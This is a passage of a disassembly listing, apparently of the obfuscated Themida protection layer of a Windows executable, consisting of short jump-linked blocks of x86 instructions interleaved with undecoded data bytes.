loc_56EFCC:				; CODE XREF: Themida_:00564AB2j
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56D056
; ---------------------------------------------------------------------------
		dd 0C581DDF7h, 74466680h, 525DEB89h, 0D54851BAh, 0F7D2F75Fh
		dd 46EA81D2h, 0E90AFDECh, 0FFFF54BDh
; ---------------------------------------------------------------------------


loc_56EFFC:				; CODE XREF: Themida_:005711BEj
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_55DE5C
		push	7BF0h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 37E6295Bh
		mov	ebx, 37E62947h
		jmp	loc_563DA5
; ---------------------------------------------------------------------------
		db 87h
		dd 0F58746F5h, 0DEBF5745h, 4F28296Eh, 6B2DE781h, 0EF817A6Ch
		dd 23547734h, 461FC781h, 0B4E90002h, 81FFFEEAh,	0F7125FE9h
		dd 8BCB0137h, 0C483240Ch, 4C38304h, 0FF45D1E9h,	4BA52FFh
		dd 0E9000000h, 0FFFF818Bh, 0B9240C89h, 35B755EDh, 34FFC831h
		dd 0E9555924h, 0FFFEE80Dh, 62A068h, 241C8900h, 0B7536650h
		dd 66FC88B8h, 0E9E7885Bh, 0FFFFA055h, 575DE989h, 8176FFBFh
		dd 5FFD011Ch, 0BA52CD01h, 1C8176FFh, 5CEC581h, 0D5294B97h
		dd 5CEED81h, 0FF5A4B97h, 56592434h, 0C681E689h,	4, 8704C683h
		dd 685C2434h, 7DE5h, 0FF242C89h, 0FF042474h, 835D2434h
		dd 48F04C4h, 3AE2E924h,	77FFFFFFh, 11589D1Ch, 0E99C2404h
		dd 0FFFEE1FDh, 53242C89h, 0AD761768h, 44815B45h, 74650424h
		dd 5C296FFCh, 6C810424h, 74650424h, 8B5B6FFCh, 0C4812404h
		dd 4, 0E904EC83h, 0FFFF82E9h
; ---------------------------------------------------------------------------


loc_56F120:				; CODE XREF: Themida_:0056D17Fj
		push	eax
		mov	eax, 6634E09h
		inc	eax
		sub	eax, 6634E06h
		sub	esi, eax
		pop	eax
		xor	esi, [esp]
		jmp	loc_56802B
; ---------------------------------------------------------------------------


loc_56F137:				; CODE XREF: Themida_:0055E890j
		add	eax, 5BFC0DE2h
		jmp	loc_56B04C
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 39h
		dd 0BEFFFFC6h, 33102AFFh, 0C15EF721h, 0F78106EFh, 1FF1546Eh
		dd 0FF28A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F15D:				; CODE XREF: Themida_:00561495j
		mov	esp, [esp]
		jmp	loc_56D9BF
; ---------------------------------------------------------------------------
		db 0BFh, 90h, 48h
		dd 8AE96162h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F16F:				; CODE XREF: Themida_:00570E0Bj
		pop	ebp
		not	ebp
		xchg	eax, ebp
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		jmp	loc_55F250
; ---------------------------------------------------------------------------


loc_56F184:				; CODE XREF: Themida_:0056F91Fj
		mov	[esp], esi
		mov	esi, 59C8200Ch
		xor	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	10B2h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 0EA416DAh
		add	eax, 0F15BE92Ah
		add	edi, eax
		pop	eax
		jmp	loc_56243B
; ---------------------------------------------------------------------------


loc_56F1AF:				; CODE XREF: Themida_:0056C172j
		or	eax, eax
		jz	loc_56A3DE
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_56D5EF
; ---------------------------------------------------------------------------


loc_56F1C1:				; CODE XREF: Themida_:00567061j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		jmp	loc_57003E
; ---------------------------------------------------------------------------


loc_56F1D7:				; CODE XREF: Themida_:0055D851j
		sub	ebx, ecx
		xchg	ebx, ecx
		pop	ebx
		xchg	ecx, esi
		xor	esi, 0E4A89D82h
		mov	edi, esi
		jmp	loc_56A73D
; ---------------------------------------------------------------------------
aZ_1		db '┤,$\',0
		dd 0E99C2404h, 0FFFEE0F5h, 4C481h, 0A3E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F203:				; CODE XREF: Themida_:0055E09Aj
		pop	edx
		add	esp, 4
		jmp	loc_571D10
; ---------------------------------------------------------------------------
		dd 4C48159h, 51000000h,	0FFC5F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F219:				; CODE XREF: Themida_:0057008Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_567A94
; ---------------------------------------------------------------------------


loc_56F22C:				; CODE XREF: Themida_:0056579Dj
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_570A25
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A4h
		dd 0C124B278h, 524E06EEh, 6ACD4FBAh, 5AD62952h,	0FF0B4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F251:				; CODE XREF: Themida_:00560167j
		xor	edi, 52FA715Ch
		jmp	loc_56F2B1
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFF72DBh, 4B8h, 58C22900h, 0E9241487h
		dd 0FFFF82F7h, 0E924148Bh, 0FFFFE995h, 8B24048Fh, 5E92424h
		dd 0FFFFFF78h, 48B2434h, 0C49EE924h, 0FA29FFFFh, 8904EC83h
		dd 90BE2434h, 8177402Dh, 22463FF6h, 0B32AE956h,	0AB2CFFFFh
		dd 0FFCFAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F2B1:				; CODE XREF: Themida_:0056F257j
		mov	edx, edi
		pop	edi
		add	edx, ebx
		jmp	loc_5647AD
; ---------------------------------------------------------------------------


loc_56F2BB:				; CODE XREF: Themida_:0055E0BCj
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_561B1E
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5300B60Fh, 0E956E389h, 0FFFF7F59h, 4C481h
		dd 4330000h, 24043124h,	8B240433h, 0A0E92424h, 50FFFF56h
		dd 0FFADCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F2F1:				; CODE XREF: Themida_:005650B3j
		mov	edx, 0E1F5897h
		mov	ebp, 73A922F3h
		jmp	loc_56B6E7
; ---------------------------------------------------------------------------


loc_56F300:				; CODE XREF: Themida_:00567A07j
		push	969h
		mov	[esp], esi
		mov	esi, 0DF2335F9h
		push	edi
		mov	edi, 396D26C8h
		jmp	loc_55D7AC
; ---------------------------------------------------------------------------
		dd 240C8B66h, 52DC68h, 243C8900h, 1BC268h, 8248E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F32E:				; CODE XREF: Themida_:005706DBj
		mov	ebp, 13EC90DEh
		add	esi, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55E61C
; ---------------------------------------------------------------------------
		dd 68241489h, 5B0Dh, 81242489h,	42404h,	71E90000h, 87FFFF91h
		dd 0E95752CFh, 0FFFF30E6h
; ---------------------------------------------------------------------------


loc_56F360:				; CODE XREF: Themida_:00567D92j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 3BB66CAFh
		inc	ecx
		jmp	loc_56A187
; ---------------------------------------------------------------------------
		dw 0D330h
		dd 0FF3B73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F37D:				; CODE XREF: Themida_:0057102Fj
		push	ebx
		mov	ebx, 13D62849h
		mov	ebp, ebx
		jmp	loc_564879
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 14D735C3h, 4654CF81h, 0C78104B3h, 9D58D2D9h,	0CBE9F989h
		dd 66FFFF2Ah, 42E9028Fh, 1FFFEDFh, 0BF575AD6h, 4, 34FFFE01h
		dd 583CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F3BE:				; CODE XREF: Themida_:0057032Cj
		mov	edi, [esp]
		add	esp, 4
		mov	eax, ebp
		jmp	loc_569030
; ---------------------------------------------------------------------------


loc_56F3CE:				; CODE XREF: Themida_:00562B8Aj
		mov	[esp], edx
		jmp	loc_56CD78
; ---------------------------------------------------------------------------
		dw 182Ch
		dd 1804C800h, 8045B659h, 0C680E4C6h, 0E9C628CFh, 0FFFFB303h
		dd 5224048Fh, 4BAh, 24540100h, 7579E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F3FE:				; CODE XREF: Themida_:005659FBj
		sub	eax, 4F9C2D39h
		mov	esi, eax
		jmp	loc_56CA7C
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 2424895Ch, 0FFD314E9h, 2CC381FFh,	5838926Eh
		dd 8904EC83h, 22E9241Ch
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F42B:				; CODE XREF: Themida_:0056CE32j
		push	edx
		jmp	loc_5646CA
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 1307E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F43A:				; CODE XREF: Themida_:00566ECEj
		push	eax
		mov	eax, 307A62BCh
		add	ebp, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_56B897
		push	dword ptr [edi+1Ch]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_560B1F
; ---------------------------------------------------------------------------


loc_56F465:				; CODE XREF: Themida_:00566850j
		xor	edx, edx
		push	edx
		push	ebx
		push	esi
		mov	esi, 3A51167Ch
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_55E091
; ---------------------------------------------------------------------------


loc_56F47B:				; CODE XREF: Themida_:0056404Dj
		xor	ecx, 1521FA5Ch
		jmp	loc_563B54
; ---------------------------------------------------------------------------


loc_56F486:				; CODE XREF: Themida_:0056BEEDj
		and	edx, 62B32125h
		xor	edx, 422D1ED2h
		add	edx, 0F85DF8h
		push	edi
		mov	edi, 0DE7B6239h
		add	edx, edi
		jmp	loc_565D74
; ---------------------------------------------------------------------------


loc_56F4A5:				; CODE XREF: Themida_:005620AAj
		add	eax, edi
		push	ebx
		jmp	loc_561E64
; ---------------------------------------------------------------------------


loc_56F4AD:				; CODE XREF: Themida_:005621EEj
		mov	esi, 72243429h
		add	esi, 4008112Eh
		shr	esi, 3
		add	esi, 0E754A131h
		jmp	loc_564BB1
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0EEDAF6F3h, 0C15FFE89h, 0E68103EEh, 4CD05A9Eh, 0A71F681h
		dd 0DEF778ACh, 0FF8DDAE9h, 0F6866FFh, 0C896664h, 79FC6824h
		dd 1C890000h, 5319B724h, 40B25250h, 0E95AD488h,	0FFFFEA42h
; ---------------------------------------------------------------------------


loc_56F504:				; CODE XREF: Themida_:00569877j
		add	esp, 4
		push	ecx
		push	esi
		add	dword ptr [esp], 78E43734h
		pop	ecx
		sub	ecx, 78E43734h
		mov	ebp, ecx
		jmp	loc_5706AD
; ---------------------------------------------------------------------------
		db 56h,	68h, 4
		dd 0E9000000h, 2018h
; ---------------------------------------------------------------------------


loc_56F52C:				; CODE XREF: Themida_:0056BEDEj
		add	ebp, 0FFFFFFFFh
		jmp	loc_5707E9
; ---------------------------------------------------------------------------


loc_56F537:				; CODE XREF: Themida_:00562854j
		pop	eax
		jmp	loc_56E1EB
; ---------------------------------------------------------------------------


loc_56F53D:				; CODE XREF: Themida_:0055FDEAj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_562530
; ---------------------------------------------------------------------------
		dd offset dword_5A3568
		dd 0F49AE900h, 0EB81FFFEh, 19CA9EEh, 835BD801h,	2CE904E8h
		dd 53FFFFF8h, 0FF894CE9h, 81D2F7FFh, 41F655C2h,	48152FAh
		dd 0EC7C6224h, 0BBE95E42h, 8300000Eh, 0EC81FFE8h, 4, 0BB241C89h
		dd 23B62372h, 39CB8143h, 8137453Ah, 8DFE1FC3h, 5BD8210Ch
		dd 4A77BA52h, 0F6E92F29h, 68FFFF2Fh, 1C28h, 83242489h
		dd 5A042404h, 3F3A68h, 5DDBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F5CE:				; CODE XREF: Themida_:00569065j
		push	edx
		jmp	loc_5635FE
; ---------------------------------------------------------------------------
		dd 0BE56C201h, 5C916BD0h, 0DEF7DEF7h, 94BB534Eh, 315CCF79h
		dd 53575BDEh, 0FF4EBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F5F1:				; CODE XREF: Themida_:0056CEBAj
		mov	[esp], esi
		jmp	loc_5627AB
; ---------------------------------------------------------------------------
		db 5, 13h, 33h
		dd 0E82958B2h, 0B233132Dh, 55685D58h, 89000007h, 0CE68243Ch
		dd 89000057h, 9DB82404h, 5672BD22h, 4E182CBEh, 33B6E94Ah
		dd 0C3280000h, 66CCEB80h, 80CAB551h, 0EB80E1EBh, 261AE9C3h
		dd 8B660000h, 8356240Ch, 248904ECh, 4BA5224h, 1000000h
		dd 5A042454h, 1A4C685Eh, 2C890000h, 0C061E924h,	0D789FFFFh
		dd 5FFE895Ah, 1BF57h, 1CE90000h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F66F:				; CODE XREF: Themida_:00567885j
		xor	eax, 7CA87C6Dh
		sub	eax, 9C7F465Ch
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F1D2
; ---------------------------------------------------------------------------


loc_56F686:				; CODE XREF: Themida_:00567611j
		push	edx
		jmp	loc_567A51
; ---------------------------------------------------------------------------
		dd 0C2882B04h, 0E9E22858h, 0FFFEF7E7h
; ---------------------------------------------------------------------------


loc_56F698:				; CODE XREF: Themida_:0055E97Fj
		mov	eax, 62412F9Eh
		mov	edx, 2506487Ch
		push	ecx
		mov	ecx, 338C3F1Eh
		sub	edx, ecx
		jmp	loc_56D127
; ---------------------------------------------------------------------------


loc_56F6AF:				; CODE XREF: Themida_:00565A1Bj
		inc	ebp
		dec	ebp
		add	ebp, 0C936566Bh
		jmp	loc_561997
; ---------------------------------------------------------------------------
		dd 15BD901h, 4AE981E9h,	8B233009h, 0C481242Ch, 4, 2B850h
		dd 20E90000h, 6600002Ch, 28E9D387h, 33FFFFDBh, 1C31241Ch
		dd 241C3324h, 0FE24248Bh, 0E99C240Ch, 0FFFEDBF5h, 2BE9C800h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F6FF:				; CODE XREF: Themida_:00568340j
		sub	esi, edi
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5604BF
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 15h
		dd 29786E1Ah, 0BB87E9CAh, 1487FFFFh, 565F5C24h,	21FA6852h
		dd 0E3E958ADh, 0BEFFFF86h, 28C35898h, 0FFD2D2E9h, 5F001FFh
		dd 50272CFFh, 15EF815Eh, 8107F446h, 0CA490EC7h,	3BEF8145h
		dd 100E07Bh, 3BC781C7h,	8100E07Bh, 0CA490EEFh, 15B85045h
		dd 107F446h, 0E95858C7h, 0FFFFCE9Ch
; ---------------------------------------------------------------------------


loc_56F76C:				; CODE XREF: Themida_:00561AAEj
		add	ebx, 19C168Eh
		add	ebx, edi
		sub	ebx, 19C168Eh
		jmp	loc_570D76
; ---------------------------------------------------------------------------


loc_56F77F:				; CODE XREF: Themida_:0056BA21j
		xor	edi, offset byte_480001
		add	ebx, edi
		jmp	loc_56B40F
; ---------------------------------------------------------------------------


loc_56F78C:				; CODE XREF: Themida_:00569BDDj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4923666Ch
		add	ebp, esi
		jmp	loc_571EC2
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0FF2DE801h, 0E916CC6Eh, 26D9h, 104068h, 240C8900h, 0BD55E189h
		dd 4, 0FFE73FE9h, 0CD6853FFh, 5400006Eh, 8124048Fh, 42404h
		dd 815B0000h, 4C3h, 4EB8300h, 5C241C87h, 0E9240C89h, 0FFFFDFAFh
		dd 0BA52E801h, 3F36604Eh, 55AD001h, 35171464h, 0A138952Dh
		dd 242C8B4Dh, 4C481h, 2050000h,	33000000h, 4312404h, 832DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F81A:				; CODE XREF: Themida_:00571052j
		dec	esi
		not	esi
		not	esi
		jmp	loc_55D8BF
; ---------------------------------------------------------------------------
		dd 8124248Bh, 0E654D7F5h, 0FC38115h, 0E97FB547h, 0DBFh
		dd 0E9243C89h, 0FFFEE546h, 50CF681h, 0EEC1707Bh, 1C68108h
		dd 55000000h, 135873BDh, 0E9EE3100h, 0FFFEF2D1h, 4FC968h
		dd 24248900h, 0FF463CE9h, 0C8B66FFh, 0E9545724h, 0FFFFF8CDh
		dd 0E924348Bh, 0FFFFFA58h, 295BD829h, 3D0F05C8h, 87596C1Dh
		dd 1CE92404h, 66FFFFE4h, 0E924048Bh, 0FFFF8EAEh, 4C2815Ch
		dd 55000000h, 0F50FE950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F8A6:				; CODE XREF: Themida_:005669B9j
		shr	edi, 6
		add	edi, 0FD6ADC5Eh
		add	ebx, edi
		pop	edi
		jmp	loc_56DBA3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4B850h, 0C5010000h, 4B6E958h, 0C481FFFFh, 4,	4C281h
		dd 68570000h, 2FA0h, 50242C89h,	502318B8h, 3607BD6Dh, 0C5297830h
		dd 5DEF8958h, 3518C781h, 0CF815CF3h, 46F9659Ah,	87D7874Fh
		dd 0D489E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F902:				; CODE XREF: Themida_:00562534j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_56F184
; ---------------------------------------------------------------------------
		dd 243C875Eh, 2434335Ch, 33243431h, 0D9E92434h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F937:				; CODE XREF: Themida_:0056A711j
		mov	ebp, 66470A4Ch
		add	ebp, 55317CB4h
		sub	ebp, 978C5044h
		mov	esi, ebp
		pop	ebp
		jmp	loc_566FEB
; ---------------------------------------------------------------------------


loc_56F950:				; CODE XREF: Themida_:005691B3j
		pop	edx
		mov	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 40214940h
		sub	dword ptr [esp+8], 5E0C4983h
		sub	[esp+8], edi
		push	ebx
		jmp	loc_56BF9B
; ---------------------------------------------------------------------------
aBCRhn		db '│цГ#',0Dh,'ЮhN$',0
		dw 8900h
		dd 0E955241Ch, 0FFFF1052h, 0E9241487h, 0FFFEEBF5h
; ---------------------------------------------------------------------------


loc_56F988:				; CODE XREF: Themida_:00565CC0j
		push	eax
		push	7CBF599Eh
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		add	eax, 0BC0F6075h
		jmp	loc_55E494
; ---------------------------------------------------------------------------
		db 35h
		dd 8A335E43h, 7FDEB951h, 0C1815D5Ch, 0BCA8467h,	0E959CE29h
		dd 0FFFF03E8h, 4C481h, 0CA010000h, 29BFE9h, 0EB875B00h
		dd 68EB874Dh, 0
		dd 0FF3BDFE9h, 242C8BFFh, 0FF4521E9h, 726135FFh, 0BB537A0Eh
		dd 5AB80069h, 0FF3630E9h, 4C583FFh, 5C242C87h, 0C280DAF6h
		dd 5AD02837h, 0FF72E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FA05:				; CODE XREF: Themida_:0056D309j
		sub	dword ptr [esp+4], 318D0DB9h
		add	[esp+4], eax
		add	dword ptr [esp+4], 318D0DB9h
		pop	eax
		pop	edi
		sub	edi, 1DC41F21h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_562408
; ---------------------------------------------------------------------------
		db 0B9h, 29h, 7Ch
		dd 0CD317C90h, 0EBBE959h, 0BF0000h, 29FC40E8h, 0D8015FF8h
		dd 6F74E95Bh, 895CFFFFh, 4832424h, 6FE90424h, 80000005h
		dd 0D300B4F2h, 0FBC4E95Ah, 0C483FFFFh, 24048F04h, 0E924248Bh
		dd 0FFFFD0C1h
; ---------------------------------------------------------------------------


loc_56FA70:				; CODE XREF: Themida_:0056B584j
		shr	ebx, 6
		not	ebx
		xor	ebx, 63ED5116h
		shr	ebx, 8
		push	edx
		mov	edx, 2C86A1DFh
		xor	ebx, edx
		pop	edx
		xor	esi, ebx
		pop	ebx
		mov	ebp, esi
		pop	esi
		push	eax
		jmp	loc_55FDBA
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2404h, 4896624h,	8DC8E924h, 0EF80FFFFh, 51C7FEFFh
		dd 0B514B753h, 5E4BE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FAB2:				; CODE XREF: Themida_:0056949Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_568387
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 81000000h,	4EDh, 242C8700h, 2434895Ch, 2434FF54h
		dd 0E689565Eh, 4C681h, 0C6830000h, 24348704h, 4C6815Ch
		dd 83000000h, 586804C6h, 89000035h, 74FF2434h, 79E90424h
		dd 81FFFF13h, 4E9h, 240C8700h, 0FEF07EE9h, 40478FFFh, 0FED7CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FB21:				; CODE XREF: Themida_:0056FF14j
		mov	ecx, esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ecx
		push	edx
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_572246
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 248B242Ch,	40BB5324h, 514EE800h
		dd 8F04FBB9h, 59CB0168h, 53FF381h, 0DD01B777h, 242C875Bh
		dd 7436685Ch, 3C890000h, 0AE95424h, 59FFFFBEh, 4EC81h
		dd 14890000h, 895A5D24h, 0D8315DEBh, 56241C8Bh,	0C681E689h
		dd 4, 8704C683h, 22E92434h, 0F7FFFEE5h,	4BC781DFh, 81319464h
		dd 425806F7h, 83E95558h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FBB3:				; CODE XREF: Themida_:00566CC2j
		mov	ebp, 14780286h
		jmp	loc_564575
; ---------------------------------------------------------------------------
		db 0BEh, 87h, 6Ah
		dd 0F5012658h, 8324348Bh, 555804C4h, 42474FFh, 24048F5Dh
		dd 0E9F1F65Ch, 0FFFF2C7Dh, 6B685355h, 0E9487650h, 0FFFEEF6Fh
		dd 8904EC83h, 43E92414h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FBF3:				; CODE XREF: Themida_:0056DF59j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jnz	loc_56B8CD
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_56ADF2
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 12C154ABh, 47B1F181h, 0E1C12927h, 0E9E94104h, 0E9FFFF87h
		dd 0FFFED6C9h, 0F781DFF7h, 2D2C6786h, 44BAC781h, 0CF8122AAh
		dd 7E4E748Ch, 0B819C781h, 0DFF75ACBh, 2367E9h, 24148B00h
		dd 5504C483h, 0CAE95D54h, 0FEFFFF1Fh, 0D4E980C9h, 0C0A6B050h
		dd 9FE905E0h, 8BFFFF00h, 34E92414h
		db 0DCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FC6B:				; CODE XREF: Themida_:0056D796j
		dec	ebp
		push	eax
		mov	eax, 5207182Ah
		add	ebp, eax
		jmp	loc_56C296
; ---------------------------------------------------------------------------


loc_56FC79:				; CODE XREF: Themida_:0055F4FEj
		neg	ebp
		push	ebx
		mov	ebx, 6E0D4FA2h
		sub	ebp, 2D253ED1h
		add	ebp, ebx
		add	ebp, 2D253ED1h
		pop	ebx
		sub	edi, ebp
		jmp	loc_565CC5
; ---------------------------------------------------------------------------
		db 1
		dd 34335AD6h, 24343124h, 0FFF258E9h, 0A8BA52FFh, 89612047h
		dd 0ED815AD5h, 612047A4h, 45D9BD55h, 0C5816474h, 0AF2502DDh
		dd 15DEB01h, 0B6EB81EBh, 0E9139948h, 235Ah
; ---------------------------------------------------------------------------


loc_56FCD0:				; CODE XREF: Themida_:0056682Cj
		add	ebx, edx
		sub	ebx, 3CA826DAh
		pop	edx
		sub	ebx, 36E233Eh
		add	ebx, edi
		push	eax
		mov	eax, 34261AF8h
		and	eax, 40B31F93h
		and	eax, 38C54096h
		sub	eax, 0FC91DD52h
		add	ebx, eax
		pop	eax
		push	30E7h
		mov	[esp], edx
		push	edi
		jmp	loc_56013E
; ---------------------------------------------------------------------------


loc_56FD07:				; CODE XREF: Themida_:00561CCBj
		mov	[esp], esi
		jmp	loc_56867F
; ---------------------------------------------------------------------------
		db 55h
		dd 446A67BDh, 23A5E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FD1A:				; CODE XREF: Themida_:0056A82Fj
		or	ebp, 32EE01DCh
		neg	ebp
		jmp	loc_561BBE
; ---------------------------------------------------------------------------


loc_56FD27:				; CODE XREF: Themida_:0055FC65j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edx
		sub	eax, 19DF6AFAh
		jmp	loc_56C702
; ---------------------------------------------------------------------------
		dd 0CC69FBBDh, 28C58133h, 0E9117349h, 0FFFFD1ACh
; ---------------------------------------------------------------------------


loc_56FD4C:				; CODE XREF: Themida_:0056B20Ej
		push	esi
		mov	esi, esp
		jmp	loc_568DD2
; ---------------------------------------------------------------------------
		dd 0F7F7E952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FD5A:				; CODE XREF: Themida_:00570C66j
		add	edx, 5224EABh
		mov	ecx, edx
		pop	edx
		sub	ecx, 0C295DD5h
		jmp	loc_55DEA9
; ---------------------------------------------------------------------------


loc_56FD6E:				; CODE XREF: Themida_:0056BA51j
		sub	edi, ebp
		jmp	loc_567048
; ---------------------------------------------------------------------------


loc_56FD75:				; CODE XREF: Themida_:0056AC78j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_568C50
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 66000000h,	5300B60Fh, 0BA52E389h, 4, 525AD301h
		dd 4BAh, 5AD32900h, 2474FF53h, 48F5B04h, 24248B24h, 54240489h
		dd 40558h, 79680000h, 8900002Dh, 8CE9240Ch, 5A000012h
		dd 0BCD1E951h, 0EC83FFFFh, 241C8904h, 0A7418BBh, 63B9510Ah
		dd 11B052Bh, 0D80159C8h, 52B632Dh, 241C8B1Bh, 2904C483h
		dd 6FBF57C8h, 0E9758A48h, 0FFFEFF09h
; ---------------------------------------------------------------------------


loc_56FE00:				; CODE XREF: Themida_:00571951j
		xchg	ecx, [esp]
		jmp	loc_56C16E
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9E90000h, 58FFFF97h, 29FFEB81h, 0C3814DBBh
		dd 54952320h, 0EB81D301h, 54952320h, 29FFC381h,	84E94DBBh
		dd 29FFFED7h, 67BF2DF8h, 34FF40AEh, 243C8B24h, 4C481h
		dd 2CE90000h, 81FFFF37h, 0FB9887F7h, 5FF80131h,	48BC201h
		dd 4C48324h, 0FF4939E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FE61:				; CODE XREF: Themida_:0056C77Aj
		push	ebp
		mov	ebp, eax
		mov	esi, ebp
		pop	ebp
		jmp	loc_563416
; ---------------------------------------------------------------------------
		dd 24048B66h, 4D6768h, 24148900h, 0CE9E289h, 5CFFFF3Eh
		dd 0FFD4DBE9h, 48F54FFh, 24048124h, 4, 5D2434FFh, 81E68956h
		dd 4C6h, 61B95100h, 0E900F502h,	0FFFF880Fh
; ---------------------------------------------------------------------------


loc_56FEA8:				; CODE XREF: Themida_:005670A1j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55E6A2
; ---------------------------------------------------------------------------
		dd 8B5DEB01h, 0C4812404h, 4, 0D1E9008Fh, 89FFFF40h, 45E9241Ch
		dd 0BDFFFF87h, 113A3287h, 0FF2AC7E9h, 89565AFFh, 8B1AE9E6h
		dd 0F101FFFFh, 240C875Eh, 8124248Bh, 4C5h, 271C6800h, 0C890000h
		dd 0CBE95724h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF0B:				; CODE XREF: Themida_:0056E58Fj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56FB21
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 36DE68h, 240C8900h, 0FBF3E952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FF2A:				; CODE XREF: Themida_:00571F82j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		jmp	loc_571BD6
; ---------------------------------------------------------------------------


loc_56FF3B:				; CODE XREF: Themida_:0056D131j
		add	edx, 61476D76h
		shr	edx, 4
		sub	edx, 86ECFF5Dh
		xor	edx, eax
		pop	eax
		shr	edx, 8
		jmp	loc_56BEE3
; ---------------------------------------------------------------------------
		db 0BAh, 0E7h, 78h
		dd 0F0E9088Eh
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


